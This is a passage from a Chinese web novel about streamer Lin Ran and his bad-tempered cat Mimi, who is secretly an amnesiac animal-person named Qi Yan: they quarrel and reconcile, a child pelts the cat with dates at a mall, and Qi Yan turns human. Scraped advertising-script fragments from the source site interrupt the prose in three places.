回家前,林染从快递员手里亲自拿到那只定制的银色防走失项圈,准备今晚上哄猫咪戴上。他已经想好了,如果今晚上猫咪乖一点不要惹自己生气,他还会亲手给它剥一只大虾。总而言之,包容。 推开门,屋子里黑黢黢的,林染没听到猫叫,有点失落地开了灯,就看到一只浅金色的猫咪靠在窗边的猫爬架上睡得正香。 睡觉还知道挑视野好的地方睡,讲究小猫。 林染夹着嗓子像是完全把早上吵过的架完全遗忘,步伐轻快地朝猫咪走去。 猫咪的耳朵则快速地抖了抖,眼睛瞬间睁开,亮晶晶的,转头看向林染。 一人一猫,都在努力忘掉或者忽视任何破坏他们之间感情的矛盾,不约而同地想办法给对方台阶下。 “咪咪。” 林染大声喊咪咪的名字,猫很快叫了一声回应他。抬起头伸了个懒腰,正准备跳下来,突然脚步一顿,像是发现了什么,动作猛地停下。 “宝贝,爸爸定做的项圈到了……”林染走到他身边,举着项圈,笑意盈盈。 然而话音未落,猫爬架上的猫发出一声极为严肃的嚎叫,打断了林染的话。 虽然还没成年,可体型也脱离了幼年期的大小,“啪嗒”一声砸在地面上,发出沉闷的声响,眯着眼睛狠狠盯着林染。 “喵嗷——” 林染脸上的笑消失了,他蹙起眉,有些茫然地看着咪咪,又回头看了眼刚刚闭上的大门,一头雾水。 “怎么了?“ “嗷!” 祁宴浑身的猫毛都炸开了,他在林染身上闻到了和白天那只野猫十分相近的味道。 一种很难形容的、把他本人身上的味道掩盖得死死的臭味。难以想象,林染在外面做了什么,才会这样臭气熏天地回到家。 白天才吵了架,晚上就这样。 林染看着咪咪竖得高高的飞机耳,和压迫感十足的叫声,仿佛回到了他们两个初见面的那天,猫也是这样凶巴巴的、一副要吃人的样子。 他生气又难过。 原来养了几个月,无论怎么对它好,还是会因为一次吵架,关系退回原点。凭什么人家的猫那么可爱亲人,而我家的这样养不熟。 林染手里花了他一整个月工资的防走失项圈,在此刻显得非常可笑。 “你凭什么凶我?”林染的语气努力平静。 “喵!”你身上全是野猫的臭味,你是不是背着我有别的猫了! 一人一猫,隔着一米不到的距离,虽然语言不通,还是面对面地吵起来。 “你又想和我吵架?” “喵!!”污蔑,明明是你单方面骂我! 最后,林染把手里昂贵的项圈掏出来,当着祁宴的面恶狠狠地扔在地上。 “这个项圈,你亲手选的。”林染说,“但是我要送给别人家的猫,它们比你听话、比你乖。我一点都不喜欢你了!” “喵……”不喜欢就…… 祁宴愣住了。 他盯着林染,几乎没办法在第一时间判断出这句话的意思。仿佛脑子都因为一整天漫长的等待而生锈。 祁宴反应了半天,甚至怀疑自己突然听不懂人话了。 …… 等等,林染说什么? “轰”的一声,终于想清楚这句话是什么意思的祁宴,脑袋一片空白。 林染说,他不喜欢我了。 7. 光速和好咯 说完这番话,林染几乎是瞬间就后悔了。 没别的,实在是太幼稚。 怪不得他看到网上那些小视频里,有些人当了爸妈之后天天在家大喊大叫,从情绪稳定的年轻人变成易怒暴躁的中年人。养猫跟养孩子一样使人变老,变凶。 什么“我再也不喜欢你了”,这是什么小学生过家家分手现场吗? 冷静下来的林染想起自己还没给猫做饭,他可不会当不负责任的主人,再生气也不能让猫饿肚子,万一肾衰竭还得上医院花钱。 刚要把被自己扔在地上的项圈捡起来,一个敏捷的毛茸茸身影擦过他的手背,先一步叼起手环,转头就往床底钻。 嗖的一下不见了。 逆子。 直播时间快到了,林染冷着脸做好猫饭,端出来放在猫窝边上,喊了声“吃饭”。 没有猫搭理他。 林染憋着火,转头就来到自己的电脑前坐下。爱吃不吃,赚钱要紧,开播。 今天的主播心情不好,玩了会儿恐怖游戏,连跳脸杀都吓不到主播,声音也蔫儿蔫儿的,弹幕里粉丝问林染是不是生病了。 “没病,被气的。”林染强颜欢笑,“我们家猫太不省心了,不知道该拿他怎么办。” 【又怎么了?】 【自从主包养了猫,天天都是猫,要不转行当萌宠博主吧】 林染扫到这条弹幕,蹙了蹙眉,没吭声。他确实发了条和咪咪互动的视频在主页,可能是被粉丝买了推流,点赞数破了二十万。 可是当萌宠博主,就咪咪这臭脾气,跟个定时炸弹一样,指不定哪天就爆炸了。管也管不住,今晚上还不知道为什么凶他。 拍什么,拍他被猫揍吗? 林染越想越气,嘴里的话也越来越少。但与之相反的是他游戏操作水平,竟然因为不怎么分心和观众聊天,躲鬼能力直线上升。 好几回都打出了极限操作,引起观众们的赞叹。主播今天的操作居然不下饭了? 林染扫了眼弹幕,刚要大言不惭地告知他们这才是自己的真实水平,可嘴还没张开,突然感觉什么毛茸茸的东西扫过他的脚踝。 手指顿了顿,画面里的代表主人公的小人停住脚步,被紧跟在身后的鬼杀死。第一视角,全屏幕瞬间被猩红的光覆盖,特别血腥。 林染:“……” 弹幕:“……” 【主播一点也不经夸啊】 【确认没找代打,是主包的常规操作,刚才差点以为走错直播间】 粉丝们笑作一团,连发了好几条调侃林染操作的弹幕,然而半分钟过去,鼠标却不动了。 刚要问怎么回事,直播间传出一声非常嗲的喵叫。随后就是主播压着嗓子,没有用往常那副温柔的营业声线,听起来心情非常不好的声音。 “干什么你,蹭什么蹭。” “喵。” “我在直播,走开。” “喵。” “别给我撒娇,不吃这套。” 虽然嘴上很冷酷,但实际上林染已经有点绷不住了,为了在咪咪面前树立威严,还是板着脸警告它。毕竟刚吵过架,还放了狠话。没几分钟就原谅了这只坏猫,岂不是娇纵了它。 刚要缩回腿,就见猫咪一把抓住林染的牛仔裤,一路朝他脑袋的方向攀过来,嘴里还叼着那只项圈。 碧绿的眼睛在电脑屏幕的灯光下显得水汪汪的,咪咪一副知道自己很漂亮的模样,蹲在林染的大腿上,用脑袋蹭他的小腹。 因为嘴里有东西,发不出声音,祁宴松了嘴,让项圈掉在林染腿上,自己又靠过去。 “喵。” 什么意思这是?来求和好了? 林染本来不想搭理它,可是这样的场面实在罕见,他有点撑不住,费劲力气没有伸手去摸猫脑袋,仍然压着声音。 “现在知道讨好我,晚了。”一副不依不饶的模样。 祁宴又喵了一声,抓住林染的衣服,往他的脸上探。猫咪很高,轻轻松松就越过林染的肩膀,猫脑袋直接朝林染脸上去。 冰凉凉的小猫嘴,局促地贴了贴林染的脸颊,因为动作太快,林染几乎没反应过来,就这样被猫咪亲了。 林染:“?” 林染骤然抱住怀里的猫,一脸震惊。 然而祁宴却把脑袋埋起来,整只猫都钻进他的肩窝处,装作若无其事地张了张梅花似的爪子,用肉垫轻轻拍打林染。 祁宴的体温都高了好几度,不肯露脸,在林染的耳边发出呼噜噜的呼吸声。 叼着项圈钻进床底的半小时,大概是祁宴人生中最漫长的半小时。他从来没觉得,“不喜欢”这三个字对他的攻击性那么强,有那么一瞬间,他难受得想把林染的床单挠花。 可是这样林染会更讨厌他。 林染甚至会把他赶出家,把那些他嘴里聪明漂亮可爱懂事的野猫带回来,霸占他的窝,他的碗,他的铲屎官。甚至连这么昂贵的项圈也便宜它们了。 明明祁宴都看到上面刻了自己的名字,这个项圈是他祁宴的。 林染是一个很卑鄙的人类。祁宴想。 他只是不想被林染亲,并不算太刻意地和这个人类保持距离,林染就跑出去招惹其他野猫,还要把自己的项圈给别人。 真的非常无耻。 人类为了占便宜真是什么事都干得出来。祁宴认为自己为了优良和谐的生存环境,低下头讨好一下铲屎官也并不是一件难事。 只不过他大概失忆前后没有过这样的经历,祁宴想了半天,对于脑子里各种林染不再喜欢自己的设想,被床底下稀薄的空气压得喘不过气。 他醒过来见到的第一个人并不是林染,却只有林染对他好。曾经祁宴觉得人类都凶恶又混蛋,林染的存在改变了他对人类的印象。虽然是个负债累累的穷光蛋,但对一只不知道来历的猫咪那么好,好到祁宴迷失自我,恃宠而骄。 直到今天才猛地发现,原来主人对猫咪的爱并不是无私且无偿的,他需要猫咪同等的爱回报他。所以意识到自己养的猫没办法给他提供情绪价值后,这句“不喜欢”当然很快就能说出口。 祁宴变得很低落,但又不得不遵守这个规则。 人类就是这样,他们不能接受一个坏脾气小猫,总是想要改变他,从而获得成就感。可是祁宴本来的性格就是这样,他很凶,脾气很坏,有的时候不讲道理。 但是如果是林染,祁宴觉得,改变一下也不是一件很难的事。 他很想念林染的体温和味道。猫窝还是太冷了,他晚上总是被冻醒。 不就是亲吗,又不会少块肉。祁宴忍住羞耻和郁闷,叼着林染给他买的名贵项圈,像一只真正的懂事、可爱又听话的小猫那样,冲出床底,扒在林染身上。 亲了他一口。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' * 林染有点惊魂未定。 刚吵过架,回家的时候朝着他大呼小叫,还被林染骂跑了,钻进床底下的臭脾气猫咪,居然这么快就钻出来讨好自己,还亲了一口。 猫咪知道亲是什么意思吗? 之前抓着他裤腿撒娇,捏着嗓子喊人尚且还在普通猫咪讨好主人的范畴内,但是亲脸也太超过了,他难不成运气好到捡回来一只天才小猫? 咪咪突然变得这么乖,反倒叫林染有点无所适从。虽然林染觉得别人家的小猫很可爱,可那是别人家的猫,他说了气话,并不代表他真的觉得自己家的猫不如别人。 其实林染一直很以咪咪为豪,毕竟一只自己会上厕所、从来不打扰林染工作、长相漂亮的小猫,不管在哪里都会被很多人爱。每天账号底下评论区夸咪咪几百条不带重样,后台私信被各种猫舍挤爆,粉丝活跃度更是比他捡到猫之前翻了好几倍。 只不过林染运气很好,他捡到了受伤的猫咪,成了它眼中的唯一。 “怎么了宝宝?”林染光速气消,给直播间的观众们请了十分钟假,抱着猫咪回到床上,把猫脑袋捧起来,凑在面前。 生气也是很生气,可是看到猫咪为了讨好林染改变了自己的本性,林染又会有点伤心。 林染是个很难伺候的人,小时候当了十来年的留守儿童,和父母相处的记忆并不多,刚考上初中就得知父母出事,被迫背上很多债务。人生淌在苦水里,连悲伤的滋味都被生活蹉跎得逐渐淡忘。 他的目的太明确,就是赚钱。很多人看不惯林染的行为,觉得他掉进钱眼里了,满身铜臭味。林染也有自己的傲气,他拒绝这些高高在上的人走进自己心里。 不懂感情,没什么朋友,这些年林染把心完完全全地封闭,却偷偷开了一扇小门,留给一只相处没多久的猫咪,把自己不被掩盖的本来面目展现给它。逼迫它接受。 林染很霸道,他自己是个顽固不化的人,就期待他养的小猫也一样。 他早就在十月份捡到猫的那个雨夜里,在医生的再三提醒下,得知咪咪的脾气不好,如果要收养这只伤痕累累的流浪猫,要做好不再抛弃它,不再让它受苦的准备。 林染并没有想要改变这个想法,他很喜欢咪咪,从头到尾,包括它的性格。 他们像两个性格差异巨大的舍友,住在一个屋檐下,一点一点地磨合,直到找到彼此相处最和谐轻松的方式。 “我说错了宝宝。”林染把脸贴在猫咪的脑袋上,亲他,“我反省自己,说了气话,我最喜欢你。” 虽然林染肯定猫咪听不懂人话,但他坚定地认为它们能感知到主人的语气,因此说话的时候非常温柔。 猫咪听不懂,祁宴可以听懂。 他闭了闭眼睛,从喉咙里挤出一声颤抖的叫声,随后伸开毛茸茸的四肢,努力抱住近在咫尺的林染。 祁宴认栽了,他承认自己之前的刻意疏离是在避免遵从本心。 而且林染都说喜欢他了,那表白当然也要有来有回。仗着自己现在只是一只猫,祁宴别扭地说:“好吧,那我承认我也喜欢你。” 人类当然不知道猫在说什么,只能听到祁宴的猫叫声。林染见咪咪有了精神,高兴地摸了摸它的脑袋。 祁宴蹭他的手心,遗憾又庆幸。 听不懂就算了,这种肉麻的话,他才不会再说第二次。 8. 变人第一步 周六中午,沉睡着的林染逐渐从梦中抽离,原因是他感受到有什么东西在舔他的下颌。 温热的、长满倒刺的。 猫舌头。 接近年底,公司事务繁忙,为了赶回家直播,林染白天几乎不吃不喝地工作,晚上下播后继续捧着电脑熬方案。为此已经连着一周都没能好好睡觉,好不容易休息,他一口气睡了十多个小时。 撩起眼罩,林染困得睁不开眼睛,抓住贴在他胸口的猫咪,声音沙哑。 “哪来的色猫。” 已经长得很大块的毛茸茸象征性地挣扎了一下,在林染手里蠕动,嘴里发出马达一样的吭哧吭哧呼吸声,像个低音引擎。 “喵。” 咪咪的绿眼睛一眨不眨地盯着林染,在他放开手后自然而然地掉落在林染怀里,黏人地贴过去,亲林染的脖子和耳根。 林染被弄得有点痒,笑着阻拦它,又被舔了手心。 “做什么?宝宝。” 刚睡醒的声音低沉,带着宠溺的笑意,祁宴的爪子收起了尖锐的指甲,忍不住在林染的胸口踩了踩,林染的皮肤太白,很快留下粉色的印记。 “喵。” 自从上回吵完架又和好,林染和祁宴的关系可以说得上是突飞猛进。咪咪经常会偷袭林染,在他的皮肤印下浅浅的亲吻,然后跟个跟屁虫一样,无论林染做些什么,都要跟过来,喵喵叫。 林染一开始还很高兴,时间长了觉得有点太过腻歪,可他又不愿意伤了孩子的心,只好勉为其难接受这份偏爱。 好在猫咪除了变得爱亲他舔他,也没做什么奇怪的事情,林染就由着它去了。好几天早上林染因为太过疲惫,没听到闹钟声,眼看着要睡过去,都是祁宴把他叫醒的。避免了被扣钱。 真是一只既爱主人,又听话懂事的好猫。 林染伸了伸懒腰,把睡得乱七八糟的睡衣拉直,起床边洗漱边给猫做饭。 虽然已经中午十二点了,但对于林染来说,这才是他私人闲暇时光的开始。翻了翻冰箱,家里的存货不多,林染打算吃过饭后去一趟超市,顺便买点新鲜的鸡胸肉和鸡蛋回来,给咪咪备餐。 刚穿上厚厚的羽绒服,猫就非常眼尖地迈着步子跟在林染身后,发出疑问的猫叫声。 “喵?”去哪? 林染穿着鞋子:“爸爸去一趟超市,一会儿就回家。” “喵。”我也要去。 林染不知道猫在说什么,他收拾好自己就打算出门。一月初比之前回暖了些,虽然没下雪,但外面风大,赶紧关上门别让猫着凉,谁知道腿刚迈出去,就感受到沉甸甸的东西扒住他的裤腿。 “你要去?”林染弯腰把他抱起来,揉了揉脑袋,“外面很冷,感冒得花钱。” 虽然是这么说,林染却有点动摇。自从在家里按了监控,他有事没事就在手机里观察猫在家的情况,大多数时候都只能看到咪咪一只猫蹲在沙发上、猫爬架上等他回家的场景,非常孤独的样子。甚至考虑过要不要再养一只。 思索片刻,林染给猫穿上了买回家闲置很久的牵引绳。毕竟他们家猫这几个月长势实在喜人,已经比一些常见的小型犬还大了,s市也明确要求宠物需要牵绳才能出门。搜索了附近的宠物友好商场超市,林染抱着猫坐上了出租车。 这期间,猫咪一直都非常乖,窝在林染怀里就着这个角度,时不时舔舔他下颌,连司机师傅都惊奇地感叹猫咪比狗还黏人。 祁宴被嘴很大的司机说得不好意思,用脚踹了踹车,林染连忙抓住他不安分的爪子,勒令他待会儿进超市不能乱跑乱跳乱咬。 祁宴不以为然:“喵。” 他又不蠢,在家也不稀罕干这种无聊的事。 林染想了想它平时的表现,也放宽心,奖励一般摸摸猫脑袋。 “乖一点的话,今晚加餐。” 林染叮嘱好祁宴不要招惹别人,却忘记了有的小猫光是往宠物车里一坐就是焦点。 今天是周末,商场的人有点多,林染刚踏进大门就吸引来很多视线,有人类还有动物人。 垂头一看,咪咪跟一只小豹子一样端坐在他怀里,漂亮的眼睛像绿宝石,被灯光映得水光粼粼。 帅气又漂亮。 林染去服务台要了个免费的宠物车,好说歹说哄着猫咪坐进去,往超市的方向迈开腿。 商场商铺很多,道路敞亮,时不时就能碰到其他主人带着自己家小猫小狗出来逛街。 但没有一只比林染的小猫更漂亮。这让林染有点虚荣心作祟,连走路的抬起胸脯,春风满面。 和他不一样,祁宴一直很警惕地扫视周围目光。好在大多都是欣赏和喜爱的目光,并没有太出格的。 他曾经在外流浪过一段时间,对人类的印象并不算好。所以在林染家呆了好几个月,今天是第一次出门。 林染推着祁宴来到冷鲜柜,抓起一把芹菜,问他想吃什么。 “想吃的话就喵一声。” 祁宴拒绝芹菜。他觉得这个蔬菜的气味比下水道还难闻,所以没吭声。 林染又捧起一把娃娃菜:“这个呢?” 不要。 “生菜?” 难吃。 “西红柿?” 祁宴想了想:“喵。”勉强接受。 林染原本只是随便逗逗满脸严肃的猫,想让他别那么紧张,没想到还真给祁宴选好了他爱吃的蔬菜,有点惊讶。 “你怎么会这么聪明。” 祁宴得意地舔了舔爪子:“喵。”我本来就聪明。 叫声还没停,林染笑着摸祁宴毛茸茸的脑袋:“你真的是小猫吗?” 说者无心,听者有意。祁宴顿了顿,缩回爪子,舔舔林染的手。 虽然不知道为什么有点心虚,可祁宴仍然坚定地认为,就算他真的变成人,林染还是一样爱他。 只不过祁宴目前找不到变人的办法,也会担心林染房间里那张狭窄的单人床睡不了两个成年男性。 猫咪还在魂游天外,突然感觉自己的脑袋被什么东西砸了一下。 “喵?” 祁宴被砸懵了,垂下头,看到一颗红枣顺着他的脑袋掉落在猫车里。还没反应过来,下一颗红枣已经在来的路上,很快,祁宴的鼻子也被砸了。 这回力度有点大,他感觉到了疼痛,喵了一声。反 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 应过来之后耳朵瞬间竖起来,朝砸他的人呲牙。 是一个人类小男孩,六七岁左右,身边没有家长。看到祁宴瞪他,还笑嘻嘻的。 祁宴的怒火控制不住地爆发,发出一声震耳欲聋的低沉猫叫。 比小型犬还高一个脑袋的大猫,凶狠起来震慑力相当强,周围的路人听到声音纷纷回头看。林染还在选蔬菜,吓了一跳,赶紧拽住祁宴的爪子。 “怎么了?” 人类和动物人的矛盾一直没消失过,普通的动物被迁怒的事十分常见,大多数人头脑简单地将小动物们划分进动物人的阵营,因此也在日常生活里非常排斥它们。 祁宴不知道什么原因从动物人变成了猫,在他失忆流浪的那段时间里,过得很不好。 不仅要想办法寻找食物,还得避免人类莫名其妙的恶意。最可怕的是,有些人类会装作好人分享食物,却趁祁宴不备,将他抓回家囚禁起来,遭受虐待。 其实他已经有些遗忘这样的场景,甚至连那些混蛋的脸都忘记了,林染对祁宴很好,他不愿意想那些事。 但此刻祁宴几乎是一瞬间想起来被虐待的过往,控制不住地发出叫声。 小男孩很显然也没想到猫会气成这样,看到祁宴一副要攻击他的模样,有点害怕,开始装哭。 “它……它好吓人!” 林染一时间焦头烂额,发生了什么,怎么哭了。 他很相信咪咪,猫不会主动想要攻击人类,除非是这个小男孩先做了什么。林染赶紧弯腰去猫车里找证据,果然找到了三四颗大粒的红枣。 有了物证,就是占据了道德制高点,林染立即挡在小孩姗姗来迟的家长面前。把猫抱出推车,边安抚祁宴边和小男孩家长掰扯。 “你家这只小畜生吓到我家孩子了!” 什么样的家长就养出什么样的孩子,这位熊孩子家长前因后果都没过问,上来就指着林染开始扣帽子。 林染看着白皙瘦弱,裹在羽绒服里年纪很小、一副好欺负的模样,吵起架来却一点也不含糊。 “你家这只小畜生也吓到我儿子了。我儿子脾气是出了名的好,又乖又粘人,他头一回这样生气。” 和人吵架的秘诀就是睁眼说瞎话,林染语速平稳,比起上来就面红耳赤的对方家长,看起来更理智,有条不紊地掏出红枣摆出证据,嘴里却刻薄得厉害。 “当我瞎还是商场监控是摆设,这是什么,这么大一颗砸人身上都疼,你家孩子砸猫,有没有家教?” “你讲不讲道理,现在是我儿子哭了!不就是一只猫吗?这只猫就算死在外面都没人管,可是我儿子是受法律保护的!“ 难以置信,居然还有人在大庭广众之下说出这样荒谬的话。 “怎么没人管,这是我的猫,它要是被你儿子欺负病了,我一定起诉你们要医药费。” 林染不停地摸着咪咪的后颈,他从刚才就发现,猫在发抖。咬了咬牙,林染胸口涌出一丝戾气,想到刚捡到猫时浑身被虐待的伤,懒得再和这位家长吵架,直接作势掏出手机要报警。 “行,你要讲道理是吧,咱们去警局讲,我看看今天到底是谁的错。” 9. 变人成功 林染也是被冲昏了头脑,真想上一趟警局,还没等他掏手机,就见靠在他怀里的猫抬了抬头,舔他的脖子。 “喵。” 林染愣住了,低头看已经恢复平时状态的咪咪,沉默地摸他的脑袋。 周围一直关注这事的路人看到小猫被砸蔫儿了,顿时也觉得这事儿就是熊孩子的错,本来就是宠物友好商场,不少人带着自家小猫小狗逛街,一下子就感同身受起来。不管看没看到,立即指责熊家长和熊孩子。 “欺负猫的做个人吧。” 还有真正目睹现场的路人指着对方说:“我看到了,就是这个男孩先砸猫的!” 有人作证,就有人打圆场,给双方台阶下,七嘴八舌的。场面顿时热闹起来。 男孩的家长在听到警局两个字时气焰已经消了,最终满脸不甘地带着孩子离开,临走前还骂了句非常难听的s市方言脏话企图找回场子。林染气笑了,冷静地当着对方的面拨打了报警电话。 “喂,你好,我在xx商场碰到……” 看着那位家长着急忙慌地拽着自家孩子急匆匆离去的背影,林染才慢吞吞地把根本没拨出电话的手机锁屏。 他从来不是一个得理不饶人的性格,正相反,因为太早当家,在外受过的委屈数不清,大多数都咬咬牙忍下来了,可林染不想猫也跟着自己受委屈。 脾气坏怎么样,我宠的。 林染从前很讨厌一些人强调奉献精神,但自从养了猫之后才知道。原来“爱是时常觉得亏欠”这句话其实也有点道理。 如果今天的林染是个有钱有权的林染,根本不需要和这些素质低下的混蛋周旋,也不需要装作报警才能把对方骗走。而是直接当着对方家长的面,把那些红枣全部砸回那个熊孩子身上,让他见识一下有钱人的肆无忌惮。 “别怕咪咪。” 林染抱着猫找到商场一处角落,低声安抚。 “都怪我,下回不会让你受委屈了。” 猫咪看着林染,在他怀里踩了踩奶,很轻地“喵”了一声。 事实上祁宴没有感觉到有多疼痛,小男孩的手劲儿不大,砸到脑袋和鼻子上的力度,还比不上他在家磕磕碰碰撞到墙的时候疼。 也没有当初在外边流浪的时候被人类虐待疼。 只不过让祁宴想到了当初被虐待的记忆,一时半会儿有点应激。糟糕的回忆席卷了脑子,他控制不住自己的怒火,一瞬间又回到了当初无助又绝望的时刻。 可是现在他有林染了。 这个人类很笨,对一只捡来的坏脾气猫咪这样爱护,明明执意要跟出来的是祁宴,给林染惹麻烦的也是祁宴,可是没有人责怪他。 林染只会在发生这样讨人厌的意外以后,愧疚地对猫说,没有照顾好他。 祁宴皱成一团的心脏被抚平,他又开始懊恼,自己和林染相遇的时间太晚,变成一只没有用的猫,只能色厉内茬地对着讨厌的人类吼两嗓子,除此之外一点办法也没有。 怎么样才能变回人? 回到家,林染边把买回来的蔬菜有条不紊地塞进冰箱,边想着给今天受到惊吓的猫咪做一顿大餐好好安抚。他有点害怕猫被吓出病来。 之前做功课,在网上看到说一般家养猫出门都会有应激反应,虽然咪咪因为在外流浪过没有这方面的顾虑,可是今天被小男孩砸脑袋的时候,林染清楚感受到猫的身体在发抖。 是为什么?会不会是当初被虐待后留下来的后遗症。 林染越想越担忧,立即掏出手机询问列表里的宠物医院护士。对方给出来的结论是有可能存在影响。 没想到猫平时看起来这么无法无天,心里还藏着这么大的事,看来以后它犯事了不能直接揍,只能施行爱的教育。 走出厨房,林染寻找猫的踪迹,想给几条冻干让他高兴点,却在电脑桌上看到背对着他的咪咪。 “嗯?电脑怎么没关。”林染走过去把电脑摁了,转头捞过猫咪就是一顿揉捏。 祁宴摊在林染怀里,漫不经心地应付着他的流氓行为,思考着刚才背着林染在电脑上搜到的“宠物怎么变成人”的帖子。 帖子里第一条回复的网友,对待这个问题非常不屑,认为这是宠物主人的妄想,并打下“你的猫不可能变成人的死了这条心吧神经”这一串非常刻薄的文字,叫祁宴隔着屏幕都感觉被冒犯到,气愤地在桌上挠了挠。 很快,祁宴就翻到了第二、第三条留言,但仍旧没什么信息量。大多数人都在说宠物变成人的唯一途径是上帝,因为几百年前的动物人也是在这样仓促且意外的情况下诞生,肯定是上帝的旨意,不如去寺庙里求神拜佛。 东方人拜什么西方佛。网上的人满嘴跑火车。 祁宴开始有些烦躁,他不敢相信,难道这世界上只有自己这极为罕见的一例?失忆之前到底发生了什么?会不会给林染带来危险。 就在祁宴脑子里开始天马行空地幻想自己可能是外星人时,一个点赞并不高的回答终于契合了他的情况。 回帖的人大概是个犬系动物人家长,他在帖子里告知提问者,自己儿子十岁那年出车祸的经历。当时虽然很快送到了医院,手术成功后的某个夜晚,儿子却从人类形态,突然变成了一只哈士奇幼崽,直到身体机能完全恢复后才重新变成人。 这个过程大概持续了两年多的时间。 两年?太久了。祁宴对这个时间不满意。 这位回帖人下方很快就出现了和他情况一样的跟帖,纷纷表示自己身边也存在这样的例子。感叹动物人群体的奇妙,并列举了动物人之间许多现代医学暂时没办法解决的情况。比如动物人群体无法控制的发晴期。 祁宴眉头跳了跳。什么是发晴期,为什么当初搜索动物人词条的时候没看到。 然而还没等他继续往下拉,林染的脚步声从厨房传来。祁宴只好火速关掉网站,装作什么都没发生的模样蹲在桌上,等着林染来抱他。 虽然变成人的计划暂时被打断,但一颗种子埋进了祁宴心底。他开始有意识地在林染出门上班后,在监控死角里打开电脑查阅着变人的方法。 有个回帖人发了一个偏方,步骤很简单,只需要在心底反复地自我催眠就可以。祁宴没有办法,跟着他所说,每天晚上睡前在心底默念自己要变成人这句话,来加强自己的执念。 抱着死马当成活马医的想法去做这样可笑的事,一个月过去,还是一无所获。 也许被耍了。 祁宴心情不佳,连饭都少吃了两口。林染看出来猫不高兴,抓着他又亲又抱哄了好一阵儿,把祁宴亲得迷迷糊糊大脑空白,事后更加坚定了变成人的想法,窝在林染怀里喵喵叫。 一定要变成人。 林染不知道他在干什么,看到猫咪雄赳赳气昂昂的模样,没忍住又亲了两口。 天杀的,我家猫怎么可以可爱到这个 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 地步! 在祁宴的努力下,不久后的除夕当晚,事情出现了转机。 这天晚上祁宴像往常一样蹲在猫爬架上等林染回家,二月初的天气,下午五点就开始天黑,他等得昏昏欲睡,再醒来时已经晚上九点。没有开门声,也没有开灯,林染还没回家。 什么新时代周扒皮,大年三十也不让好好过,这也要加班? 猫咪边伸了个懒腰,边在心底帮主人怒骂老板,却因为注意力不集中,不小心踩空了,在跳下来的过程中没扒拉住柱子,瞬间摔在地面上。 “砰”的一声巨响,疼痛感顿时如同潮水一般从四肢百骸涌向祁宴。他没忍住,在黑夜中发出很重的抽气声。 祁宴顿了顿。 是成年男性的声音,音质冰冷,有点沙哑,饱含怨气。 祁宴愣在地上,随后像是几百年没使用过四肢一样,举起双手,摸了摸他自己的身体。 没有毛的、冰凉的、人类的身体。 就这样毫无预兆地变成了人。 难以置信,那些乱七八糟的偏方居然真的有用。 虽然记忆里没有当人的印象,但祁宴几乎是极快地适应了这副身体,他镇定地从地上起来,在林染的衣柜里掏出一身他自从打算变人后,就惦记了很久的白t牛仔裤,往身上套。 裤子在林染身上是拖地裤,被祁宴穿成了直筒,配上浅色的头发和深绿色的眼睛,随便往那一站,身高腿长的,像电视上年轻漂亮的动物人模特。 祁宴捋了捋头发,刚准备进卫生间看清楚自己的长相,却在几秒后,骤然听到开锁的声音。 实在是太仓促,祁宴心跳加速,飞速地跑回餐桌前,和往常一样矜持地站着迎接林染回家,却先一步闻到了很奇怪的味道。 像是一个月前两人大吵一架那天,林染身上沾上的其他野猫的臭味。 身体瞬间起了鸡皮疙瘩,作为猫的本性让祁宴生理上对这个味道产生排斥,他几乎是控制不住地浑身发热,瞪着慢慢被推开的房门。 门后站着他的主人,个子不高,皮肤很白,看着祁宴的时候总爱翘着嘴角,眼睛亮晶晶的,一副脾气很好的模样。 祁宴总觉得林染长得很好看,如果他变成人,最好要长得像林染。 但此刻的祁宴无暇去想自己的长相,他对不知道又在哪里招惹流浪猫,带回来一身味道的林染很有意见。 于是,在林染整个人惊讶地出现在祁宴身前的下一秒,猫咪气愤地扑了上去,结实有力的人类身体将另一个成年男性扑倒,两人摔在沙发上,肌肤相接,滚烫炽热。 “你又敢在外面抱别的野猫。” 低沉冷淡的声音涌进林染的耳朵,两人的呼吸乱成一团,近在咫尺。 祁宴发现自己的身体像梦里一样,能把林染整个人都抱在怀里,于是胳膊缠得更厉害。 这当然招来了林染的反击,祁宴瞬间抓住那条踹向他的腿,把纤细的脚踝圈在手心里。 接着在林染震惊地询问自己是不是那只叫做咪咪的猫时,压制着沸腾的血液和震耳欲聋的心跳,祁宴非常冷静地回答。 “是我。” 祁宴禁锢住林染的腰,从他身上汲取熟悉的味道,虽然没什么表情,但此刻满脑子都是。 他变成人了,可以保护林染了。 这个认识让他前所未有的兴奋,绿眼睛一眨不眨地看着铲屎官,控制不住地涌出期待。 10. 还我妈生毛茸茸 身体紧紧交缠的触感和炽热的呼吸,无一不在告诉林染,虽然荒谬,但这就是事实。 他的猫变成人了? 从一个刚过他小腿高的毛茸茸,变成了比他大一圈的男人。更离谱的是,林染概括了一下刚才两人的战力值差距的根本原因,是因为这位帅哥胳膊上的肌肉比他头还硬。 跟钢筋一样,像个假人。 他是我家猫咪? 林染很想晕过去,但身体素质太好,不仅毫无眩晕感,还能清晰地感受到帅哥压在他身上的重量和体温。 要不还是晕了得了。 “你压死我了!”林染努力顺气儿,在祁宴背后不轻不重地拍了拍,示意他让开。 祁宴似乎这个时候才想起来,他已经不是能窝在主人怀里的小猫,而是个肌肉梆硬的成年男人。 但祁宴没有说抱歉的习惯,只是把自己的手从林染的身上撤离,表情平静,仿佛刚才在家门口勃然大怒的人并不是他。 林染则是难以置信地打量着面前长着猫耳的男人,在他脸上寻找自己养了小半年的猫咪的踪迹。 浅棕色的短发,碧绿的眼睛,最像的是那副睥睨一切的表情,以及眼底流露出来的傲慢神色。 林染曾经开玩笑说,他们家猫像个落难的王子,不该和他过普通人的苦日子。 “你、你真的是咪咪?为什么会变成人。”林染开了个玩笑,却笑不出来,“难道你成精了。” 祁宴没听出他语气里的僵硬,刚说两句话又要往林染身上蹭。 这是属于猫科动物的本能,用自己的味道掩盖其他猫的气味。 “我是动物人,你还没看出来吗?” 祁宴说话的语气和他做猫的时候一样,总是带着点刻薄,可那时他是小猫咪,林染听不懂他在说什么,所以统一当成撒娇卖萌。 现在语言共通了,林染面对他直接的说话方式和明显很亲昵的举动有些尴尬,条件反射地避开接触,却还是被祁宴毫无顾忌地贴上来。 